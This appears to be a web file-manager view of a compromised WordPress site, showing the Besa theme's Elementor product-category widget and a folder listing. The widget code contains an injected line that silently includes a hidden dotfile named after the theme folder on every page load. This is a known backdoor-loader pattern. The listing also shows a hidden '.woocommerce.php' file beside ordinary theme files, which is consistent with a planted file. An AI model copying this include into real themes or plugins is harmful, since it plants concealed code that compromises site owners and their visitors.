PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
besa
/
inc
/
vendors
/
elementor
/
elements
/
woocommerce
<?php if ( ! defined( 'ABSPATH' ) || function_exists('Besa_Elementor_Product_Category') ) { exit; // Exit if accessed directly. } use Elementor\Controls_Manager; /** * Elementor tabs widget. * * Elementor widget that displays vertical or horizontal tabs with different * pieces of content. * * @since 1.0.0 */ if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Besa_Elementor_Product_Category extends Besa_Elementor_Carousel_Base{ /** * Get widget name. * * Retrieve tabs widget name. * * @since 1.0.0 * @access public * * @return string Widget name. */ public function get_name() { return 'besa-product-category'; } /** * Get widget title. * * Retrieve tabs widget title. * * @since 1.0.0 * @access public * * @return string Widget title. */ public function get_title() { return esc_html__( 'Besa Product Category', 'besa' ); } public function get_categories() { return [ 'besa-elements', 'woocommerce-elements']; } /** * Get widget icon. * * Retrieve tabs widget icon. * * @since 1.0.0 * @access public * * @return string Widget icon. */ public function get_icon() { return 'eicon-product-categories'; } /** * Register tabs widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 1.0.0 * @access protected */ public function get_script_depends() { return ['slick', 'besa-custom-slick']; } public function get_keywords() { return [ 'woocommerce-elements', 'product', 'products', 'category' ]; } protected function _register_controls() { $this->register_controls_heading(); $this->start_controls_section( 'section_general', [ 'label' => esc_html__( 'Product Category', 'besa' ), ] ); $this->add_control( 'limit', [ 'label' => esc_html__('Number of products', 'besa'), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Number of products to show ( -1 = all )', 'besa' ), 'default' => 6, 'min' => -1 ] ); $this->add_control( 'feature_image', [ 'label' => esc_html__('Feature Image', 'besa'), 'type' => Controls_Manager::MEDIA, 'dynamic' => [ 'active' => true, ], 'default' => [ 'url' => Elementor\Utils::get_placeholder_image_src(), ] ] ); $this->add_control( 'advanced', [ 'label' => esc_html__('Advanced', 'besa'), 'type' => Controls_Manager::HEADING, ] ); $this->register_woocommerce_order(); $this->add_control( 'layout_type', [ 'label' => esc_html__('Layout Type', 'besa'), 'type' => Controls_Manager::SELECT, 'default' => 'grid', 'options' => [ 'grid' => esc_html__('Grid', 'besa'), 'carousel' => esc_html__('Carousel', 'besa'), ], ] ); $categories = $this->get_product_categories(); $this->add_control( 'category', [ 'label' => esc_html__('Category', 'besa'), 'type' => Controls_Manager::SELECT, 'default' => array_keys($categories)[0], 'options' => $categories, ] ); $this->add_control( 'product_type', [ 'label' => esc_html__('Product Type', 'besa'), 'type' => Controls_Manager::SELECT, 'default' => 'newest', 'options' => $this->get_product_type(), ] ); $this->add_control( 'product_style', [ 'label' => esc_html__('Product Style', 'besa'), 'type' => Controls_Manager::SELECT, 'default' => 'v1', 'options' => $this->get_template_product(), 'prefix_class' => 'elementor-product-' ] ); $this->register_button(); $this->end_controls_section(); $this->add_control_responsive(); $this->add_control_carousel(['layout_type' => 'carousel']); } protected function register_button() { $this->add_control( 'show_more', [ 'label' => esc_html__('Display Show More', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => 'no' ] ); $this->add_control( 'text_button', [ 'label' => esc_html__('Text Button', 'besa'), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Show More', 'besa' ), 'condition' => [ 'show_more' => 'yes' ] ] ); $this->add_control( 'icon_button', [ 'label' => esc_html__('Icon Button', 'besa'), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'tb-icon tb-icon-arrow-right', 'library' => 'tbay-custom', ], 'condition' => [ 'show_more' => 'yes' ] ] ); } public function render_item_image($settings) { $image_id = $settings['feature_image']['id']; if(empty($image_id)) { return; } ?> <div class="product-category-image"> <?php echo wp_get_attachment_image($image_id, 'full'); ?> </div> <?php } public function render_item_button() { $settings = $this->get_settings_for_display(); extract( $settings ); $category = get_term_by('slug', $category, 'product_cat'); $url_category = get_term_link($category); if(isset($text_button) && !empty($text_button)) {?> <a href="<?php echo esc_url($url_category)?>" class="show-all"><?php echo trim($text_button) ?> <?php $this ->render_item_icon($icon_button); ?> </a> <?php } } protected function render_item_icon($icon_button) { if( empty( $icon_button['value'] ) ) return; $this->add_render_attribute( 'icon', 'class', $icon_button['value'] ); echo '<i '. trim($this->get_render_attribute_string( 'icon' )) .'></i>'; } } $widgets_manager->register_widget_type(new Besa_Elementor_Product_Category());
[+]
..
[-] custom-image-list-tags.php
[edit]
[-] product-categories-tabs.php
[edit]
[-] product-count-down.php
[edit]
[-] custom-image-list-categories.php
[edit]
[-] product-tabs.php
[edit]
[-] product-flash-sales.php
[edit]
[-] product-recently-viewed.php
[edit]
[-] product-list-tags.php
[edit]
[-] products.php
[edit]
[-] list-categories-product.php
[edit]
[-] .woocommerce.php
[edit]
[-] product-category.php
[edit]
[-] woocommerce-tags.php
[edit]